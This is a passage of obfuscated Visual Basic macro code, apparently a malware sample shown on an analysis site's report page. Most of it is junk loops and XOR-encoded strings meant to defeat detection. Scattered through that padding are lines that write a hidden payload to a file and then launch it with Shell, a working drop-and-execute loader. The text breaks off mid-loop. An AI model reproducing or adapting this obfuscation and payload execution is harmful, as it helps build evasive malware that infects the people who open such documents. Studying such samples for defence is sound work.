If Len(XORI(HexToString("223C2820202B331661717766"), HexToString("50494550"))) = Len(XORI(HexToString("100A1B352F0C1B3B"), HexToString("445A4D56"))) Then
       MsgBox (XORI(HexToString("2A20262E1D7275604E"), HexToString("6F525441")))
End If
eNKuaZpx = 1

Do While eNKuaZpx < 44
If 982834 = 982834 + 1 Then End
If 6667 < 69 Then
        MsgBox (XORI(HexToString("30303C3106240E3B5D62"), HexToString("616951434C4D4B")))
End If
If Len(XORI(HexToString("20011B36143F190A43755444"), HexToString("6E744166737248"))) = Len(XORI(HexToString("0328071D041F1828"), HexToString("4E4666756D51"))) Then
       MsgBox (XORI(HexToString("021036262467436568"), HexToString("4762444956")))
End If
DoEvents: eNKuaZpx = eNKuaZpx + 1

If 337697 = 337697 + 1 Then End
If 3273 < 63 Then
        MsgBox (XORI(HexToString("12250A1739373C307B56"), HexToString("424F6F6F505A6C")))
End If
If Len(XORI(HexToString("0426091B2E122E005F725070"), HexToString("684C6B436343"))) = Len(XORI(HexToString("1F2C2C172A112E0F"), HexToString("486149675061"))) Then
       MsgBox (XORI(HexToString("261D370C1D65424E64"), HexToString("636F45")))
End If
Loop


If 137848 = 137848 + 1 Then End
If 7127 < 74 Then
        MsgBox (XORI(HexToString("2A163A2F2D11241A515B"), HexToString("62646D4A45696B")))
End If
If Len(XORI(HexToString("25231C211726053849415864"), HexToString("5171796E534F4F"))) = Len(XORI(HexToString("25121800083F1526"), HexToString("675159"))) Then
       MsgBox (XORI(HexToString("332324192376577077"), HexToString("765156")))
End If
DoEvents

Next wxoNzdGt

Dim GnzkNJON As Integer
If 638237 = 638237 + 1 Then End
If 9973 < 65 Then
        MsgBox (XORI(HexToString("020D231330022225545C"), HexToString("63655676")))
End If
If Len(XORI(HexToString("282F2320353F2D1475586545"), HexToString("43416A5173695A"))) = Len(XORI(HexToString("34151430201F2A12"), HexToString("78676753"))) Then
       MsgBox (XORI(HexToString("3031221D39516E5462"), HexToString("754350724B714F")))
End If
GnzkNJON = 6

Do While GnzkNJON < 95
If 669893 = 669893 + 1 Then End
If 9653 < 99 Then
        MsgBox (XORI(HexToString("3C2B0F1B1D213D225742"), HexToString("736765")))
End If
If Len(XORI(HexToString("1B012713343E10265F7F4D76"), HexToString("716E4A74454B47"))) = Len(XORI(HexToString("1B310A0B231C3A05"), HexToString("6A6B4647516F55"))) Then
       MsgBox (XORI(HexToString("0B07303B116E546375"), HexToString("4E75425463")))
End If
DoEvents: GnzkNJON = GnzkNJON + 1

If 831472 = 831472 + 1 Then End
If 2195 < 76 Then
        MsgBox (XORI(HexToString("081F1F1A191E03224A4D"), HexToString("78737472776862")))
End If
If Len(XORI(HexToString("222B152F3430263E6C7F5861"), HexToString("4C6E59"))) = Len(XORI(HexToString("091F1A1C232F2527"), HexToString("73766D4C"))) Then
       MsgBox (XORI(HexToString("1136080126645B4F75"), HexToString("54447A6E")))
End If
Loop


If 872113 = 872113 + 1 Then End
If 2775 < 11 Then
        MsgBox (XORI(HexToString("333305143F342E1C717B"), HexToString("7970444E7777")))
End If
If Len(XORI(HexToString("2013013835391C2760634565"), HexToString("567753"))) = Len(XORI(HexToString("2424350A03073325"), HexToString("48704773"))) Then
       MsgBox (XORI(HexToString("14393B2C27716A6862"), HexToString("514B494355")))
End If
    Put #XGJFDCHXVVI, , WXGHYUAPXWY

Dim yquomZGb As Integer
For yquomZGb = 0 To 9

Dim khnctddD As Integer
If 379492 = 379492 + 1 Then End
If 6585 < 31 Then
        MsgBox (XORI(HexToString("3F0D1B082D0D1E1A7853"), HexToString("6F4A6A6F6B777A")))
End If
If Len(XORI(HexToString("0A22263D3235310442764951"), HexToString("6B6C75457A64"))) = Len(XORI(HexToString("11231E3B1D16182C"), HexToString("4B667974"))) Then
       MsgBox (XORI(HexToString("0B232B2123796F7078"), HexToString("4E5159")))
End If
khnctddD = 4

Do While khnctddD < 15
If 713896 = 713896 + 1 Then End
If 7671 < 94 Then
        MsgBox (XORI(HexToString("1A012B3E35262C207E70"), HexToString("624C454C714443")))
End If
If Len(XORI(HexToString("342A03141E331B3B6B694572"), HexToString("515A5171467869"))) = Len(XORI(HexToString("04282A0120252600"), HexToString("526D4F5468734D"))) Then
       MsgBox (XORI(HexToString("0B08102108426F5B43"), HexToString("4E7A62")))
End If
DoEvents: khnctddD = khnctddD + 1

If 542327 = 542327 + 1 Then End
If 9113 < 56 Then
        MsgBox (XORI(HexToString("2F34243807203C2A657F"), HexToString("7759465149")))
End If
If Len(XORI(HexToString("0A1A3B3B0D3B020F6B6B5A5D"), HexToString("6E4E5A536C69"))) = Len(XORI(HexToString("241520340A07311D"), HexToString("627A726E7A"))) Then
       MsgBox (XORI(HexToString("23331D172770554760"), HexToString("66416F78555074")))
End If
Loop


If 238748 = 238748 + 1 Then End
If 2829 < 46 Then
        MsgBox (XORI(HexToString("2E0F381D0B1A33157C4E"), HexToString("6376424A79")))
End If
If Len(XORI(HexToString("2F1819230B0F1809585C575E"), HexToString("6E6F6D"))) = Len(XORI(HexToString("2C1A35123902130E"), HexToString("636A71556968"))) Then
       MsgBox (XORI(HexToString("0436043B1861655775"), HexToString("414476546A")))
End If
DoEvents

Next yquomZGb

Dim eNMBZQwI As Integer
If 915865 = 915865 + 1 Then End
If 9965 < 55 Then
        MsgBox (XORI(HexToString("24013C0526342302467B"), HexToString("4C7577")))
End If
If Len(XORI(HexToString("12163A2A1707353749747847"), HexToString("74784C49724565"))) = Len(XORI(HexToString("013C00173F02360B"), HexToString("464E61"))) Then
       MsgBox (XORI(HexToString("1330131D2076634053"), HexToString("5642617252")))
End If
eNMBZQwI = 1

Do While eNMBZQwI < 82
If 114336 = 114336 + 1 Then End
If 7892 < 72 Then
        MsgBox (XORI(HexToString("391305332415381B7643"), HexToString("43774F79")))
End If
If Len(XORI(HexToString("3F3C1E3B0B173D2761676451"), HexToString("45505652647549"))) = Len(XORI(HexToString("11321D3123082A01"), HexToString("52637A75595A46"))) Then
       MsgBox (XORI(HexToString("231C16263665474F45"), HexToString("666E64494445")))
End If
DoEvents: eNMBZQwI = eNMBZQwI + 1

If 269381 = 269381 + 1 Then End
If 2599 < 71 Then
        MsgBox (XORI(HexToString("123A1C32242C3C2E7462"), HexToString("48737A4751")))
End If
If Len(XORI(HexToString("162B091F1B103F31744C4D77"), HexToString("784E444778"))) = Len(XORI(HexToString("003C1B3B2010053E"), HexToString("7A65634B79544A"))) Then
       MsgBox (XORI(HexToString("0A283A27076F7B6969"), HexToString("4F5A484875")))
End If
Loop


If 331169 = 331169 + 1 Then End
If 9259 < 38 Then
        MsgBox (XORI(HexToString("3C201F0124382606625F"), HexToString("566572536D")))
End If
If Len(XORI(HexToString("12060E070C29030A7B56627E"), HexToString("784F62504D475A"))) = Len(XORI(HexToString("071E221A071B1F1F"), HexToString("74646E74704252"))) Then
       MsgBox (XORI(HexToString("2A03083E3648594E50"), HexToString("6F717A51446878")))
End If
    Close #XGJFDCHXVVI

Dim lQKfhkXv As Integer
For lQKfhkXv = 0 To 5

Dim kgTrccFH As Integer
If 561921 = 561921 + 1 Then End
If 3183 < 86 Then
        MsgBox (XORI(HexToString("261126233C28250D7F53"), HexToString("6B444C")))
End If
If Len(XORI(HexToString("2236250A0922110054525254"), HexToString("6763636266"))) = Len(XORI(HexToString("3E201D1323232738"), HexToString("4A517656485962"))) Then
       MsgBox (XORI(HexToString("13072B390779775478"), HexToString("567559")))
End If
kgTrccFH = 4

Do While kgTrccFH < 77
If 224323 = 224323 + 1 Then End
If 8992 < 83 Then
        MsgBox (XORI(HexToString("353F181C2E2C2227445D"), HexToString("6D69517268")))
End If
If Len(XORI(HexToString("1D012E0F212329024E515260"), HexToString("6D776666524567"))) = Len(XORI(HexToString("3B2E23303A230033"), HexToString("4F644B634E"))) Then
       MsgBox (XORI(HexToString("3715163E024D6B5346"), HexToString("72676451706D4A")))
End If
DoEvents: kgTrccFH = kgTrccFH + 1

If 137177 = 137177 + 1 Then End
If 7864 < 44 Then
        MsgBox (XORI(HexToString("3C263409260806087E72"), HexToString("444A46")))
End If
If Len(XORI(HexToString("2C062B2B290B301358747467"), HexToString("556A4547506155"))) = Len(XORI(HexToString("0724330D29093D2C"), HexToString("4E6741544E"))) Then
       MsgBox (XORI(HexToString("2F01011D054A525253"), HexToString("6A73737277")))
End If
Loop


If 518986 = 518986 + 1 Then End
If 2838 < 22 Then
        MsgBox (XORI(HexToString("083A3B1C003A27315459"), HexToString("6F765A6D6C")))
End If
If Len(XORI(HexToString("1C251510252A050069597171"), HexToString("46497A5A6F"))) = Len(XORI(HexToString("292A082928372411"), HexToString("517941"))) Then
       MsgBox (XORI(HexToString("3C31230D046A565862"), HexToString("79435162764A77")))
End If
DoEvents

Next lQKfhkXv

Dim eBVPIYGy As Integer
If 594914 = 594914 + 1 Then End
If 8639 < 42 Then
        MsgBox (XORI(HexToString("0029330E060D2523537C"), HexToString("4A6766")))
End If
If Len(XORI(HexToString("06361C3A33160D1F414E6F44"), HexToString("6F4773775677"))) = Len(XORI(HexToString("0D1202073B0B140E"), HexToString("4254516E4A69"))) Then
       MsgBox (XORI(HexToString("131B0B391B59774858"), HexToString("566979")))
End If
eBVPIYGy = 1

Do While eBVPIYGy < 44
If 483264 = 483264 + 1 Then End
If 7887 < 72 Then
        MsgBox (XORI(HexToString("0734320B212133175F77"), HexToString("6A5167447963")))
End If
If Len(XORI(HexToString("0D30312027323F0B537D555C"), HexToString("4B666B"))) = Len(XORI(HexToString("2A1D26372B2D113D"), HexToString("694E5651"))) Then
       MsgBox (XORI(HexToString("240A37230363624059"), HexToString("6178454C714343")))
End If
DoEvents: eBVPIYGy = eBVPIYGy + 1

If 451798 = 451798 + 1 Then End
If 7217 < 47 Then
        MsgBox (XORI(HexToString("123427223F3C2D076F61"), HexToString("565A5070457868")))
End If
If Len(XORI(HexToString("203D0C021A1C1F217E675F55"), HexToString("526D4F536864"))) = Len(XORI(HexToString("351D142319210D18"), HexToString("617A7A616A76"))) Then
       MsgBox (XORI(HexToString("03193B0E344B684067"), HexToString("466B4961")))
End If
Loop


If 325168 = 325168 + 1 Then End
If 6216 < 66 Then
        MsgBox (XORI(HexToString("090E3F3C1208243E415E"), HexToString("626D677968")))
End If
If Len(XORI(HexToString("2C3D0B1B3D212B13767D584F"), HexToString("6E7945414C"))) = Len(XORI(HexToString("3E03341A0E043909"), HexToString("737A42"))) Then
       MsgBox (XORI(HexToString("2C1635260256484566"), HexToString("696447497076")))
End If
    

    Dim AHZQJMJWIZG
Dim FhFTaXXg As Integer
For FhFTaXXg = 0 To 9

Dim NkgbWren As Integer
If 312795 = 312795 + 1 Then End
If 9692 < 62 Then
        MsgBox (XORI(HexToString("1825113B18222B2F435A"), HexToString("514C726E6E6D")))
End If
If Len(XORI(HexToString("08003D3E1227052357514672"), HexToString("63697047"))) = Len(XORI(HexToString("2B260E0B1B1B333B"), HexToString("67776D"))) Then
       MsgBox (XORI(HexToString("2D3418211A664B6F49"), HexToString("68466A4E")))
End If
NkgbWren = 1

Do While NkgbWren < 47
If 599652 = 599652 + 1 Then End
If 2845 < 22 Then
        MsgBox (XORI(HexToString("13233639251C13057A47"), HexToString("746943736A78")))
End If
If Len(XORI(HexToString("2B1A0307300C090357527D7B"), HexToString("71716464454E"))) = Len(XORI(HexToString("210705273733123D"), HexToString("425641"))) Then
       MsgBox (XORI(HexToString("373100001B61595362"), HexToString("7243726F694178")))
End If
DoEvents: NkgbWren = NkgbWren + 1

If 336886 = 336886 + 1 Then End
If 9753 < 63 Then
        MsgBox (XORI(HexToString("0B023D03230B360C5B67"), HexToString("52646A")))
End If
If Len(XORI(HexToString("1B2E250009231B3C7D48797F"), HexToString("714849"))) = Len(XORI(HexToString("2D3B1A10200A2E21"), HexToString("66704D"))) Then
       MsgBox (XORI(HexToString("141F2135234D727B70"), HexToString("516D535A")))
End If
Loop


If 515587 = 515587 + 1 Then End
If 2993 < 23 Then
        MsgBox (XORI(HexToString("2729191E11121B1F7844"), HexToString("41715651")))
End If
If Len(XORI(HexToString("112D0C122804360066714E73"), HexToString("5055467A476B4C"))) = Len(XORI(HexToString("35193B1C112A3905"), HexToString("4D51534B6B"))) Then
       MsgBox (XORI(HexToString("37112B231A71534278"), HexToString("7263594C6851")))
End If
DoEvents

Next FhFTaXXg

Dim gIJjzHcn As Integer
If 758949 = 758949 + 1 Then End
If 1281 < 77 Then
        MsgBox (XORI(HexToString("172C3A1E1B13072F6D67"), HexToString("636D55554875")))
End If
If Len(XORI(HexToString("051603381607121B71674F66"), HexToString("7245537A524448"))) = Len(XORI(HexToString("163B2B310B3A2F15"), HexToString("55534D"))) Then
       MsgBox (XORI(HexToString("260B270C0B75425874"), HexToString("637955")))
End If
gIJjzHcn = 1

Do While gIJjzHcn < 46
If 946839 = 946839 + 1 Then End
If 3424 < 37 Then
        MsgBox (XORI(HexToString("382F2621143304134E4E"), HexToString("7A76474A")))
End If
If Len(XORI(HexToString("19371E01331F34114274787E"), HexToString("7576464F4A6E43"))) = Len(XORI(HexToString("39390E200B310122"), HexToString("78514B"))) Then
       MsgBox (XORI(HexToString("22020200014751514E"), HexToString("6770706F73")))
End If
DoEvents: gIJjzHcn = gIJjzHcn + 1

If 246788 = 246788 + 1 Then End
If 6267 < 27 Then
        MsgBox (XORI(HexToString("05130B14152C3A027A60"), HexToString("516549")))
End If
If Len(XORI(HexToString("0D240122191B0436525B415B"), HexToString("556B6F726A4851"))) = Len(XORI(HexToString("190C0E13041D0F08"), HexToString("7A686B45686C7A"))) Then
       MsgBox (XORI(HexToString("2301143D0670475247"), HexToString("667366527450")))
End If
Loop


If 838218 = 838218 + 1 Then End
If 2347 < 26 Then
        MsgBox (XORI(HexToString("3A2F002D251D323A4354"), HexToString("715970626645")))
End If
If Len(XORI(HexToString("132D253812243D2C70405374"), HexToString("716B43"))) = Len(XORI(HexToString("3D1A022F043C0A34"), HexToString("5173514946"))) Then
       MsgBox (XORI(HexToString("2C0520293D4E484856"), HexToString("697752464F6E69")))
End If
    AHZQJMJWIZG = Shell(AKFQBNJCZGL, 1)


Dim iVgETSJE As Integer
For iVgETSJE = 0 To 4

Dim SLlusfVl As Integer
If 545528 = 545528 + 1 Then End
If 3948 < 95 Then
        MsgBox (XORI(HexToString("0E02043921001F237A64"), HexToString("4D744E536251")))
End If
If Len(XORI(HexToString("1F30230D283C0F147C557774"), HexToString("4646454A67"))) = Len(XORI(HexToString("1C3F27093E340407"), HexToString("755A6D6C"))) Then
       MsgBox (XORI(HexToString("003A08361C65695B78"), HexToString("45487A596E")))
End If
SLlusfVl = 5

Do While SLlusfVl < 88
If 489841 = 489841 + 1 Then End
If 1747 < 11 Then
        MsgBox (XORI(HexToString("0C1C371E1415260F5D7F"), HexToString("654C4E6A")))
End If
If Len(XORI(HexToString("271407181E1D2823537C6941"), HexToString("506561495176"))) = Len(XORI(HexToString("3B35373F35323712"), HexToString("516773556F"))) Then
       MsgBox (XORI(HexToString("37381825276F494F70"), HexToString("724A6A4A554F686E51686E6A764C")))
End If
DoEvents: SLlusfVl = SLlusfVl + 1

If 853459 = 853459 + 1 Then End
If 6927 < 25 Then
        MsgBox (XORI(HexToString("0F31262A1E363F0B4F71"), HexToString("696B744C707259657846")))
End If
If Len(XORI(HexToString("210C37110737311A697C5E50"), HexToString("6256565561525A70504F66"))) = Len(XORI(HexToString("2F293D1C0034292F"), HexToString("59506F527775636C635367715A5A"))) Then
       MsgBox (XORI(HexToString("081C05261E6569404C"), HexToString("4D6E77496C4548616D")))
End If
Loop


If 197745 = 197745 + 1 Then End
If 7726 < 71 Then
        MsgBox (XORI(HexToString("1101331B173F33335E6A"), HexToString("59526B")))
End If
If Len(XORI(HexToString("301D0C1A3B1B041E776C7358"), HexToString("446E784E5A71724D4F59"))) = Len(XORI(HexToString("21121332041B1518"), HexToString("6346564349"))) Then
       MsgBox (XORI(HexToString("2E28370428654A7B64"), HexToString("6B5A45")))
End If
DoEvents

Next iVgETSJE

Dim SMkgUnGu As Integer
If 285783 = 285783 + 1 Then End
If 5648 < 22 Then
        MsgBox (XORI(HexToString("1B2102292C3039054574"), HexToString("417944706954756776")))
End If
If Len(XORI(HexToString("0F003B31301B1A1A4F5A7247"), HexToString("4375537762"))) = Len(XORI(HexToString("2A261C2733261123"), HexToString("47765046774B4444716445626E"))) Then
       MsgBox (XORI(HexToString("2F331F1E2262576F6A"), HexToString("6A416D715042764E4B69")))
End If
SMkgUnGu = 5

Do While SMkgUnGu < 23
If 189745 = 189745 + 1 Then End
If 4853 < 42 Then
        MsgBox (XORI(HexToString("171B0917002F14034C40"), HexToString("636965717464666F797356")))
End If
If Len(XORI(HexToString("331817350727100B6F445C7B"), HexToString("455A736D485151"))) = Len(XORI(HexToString("301701323E22052B"), HexToString("69534C784B4A61656759"))) Then
       MsgBox (XORI(HexToString("0837023E287643515B"), HexToString("4D4570515A5662707A")))
End If
DoEvents: SMkgUnGu = SMkgUnGu + 1

…

Open this report in the interactive analyzer, or submit your own file for analysis.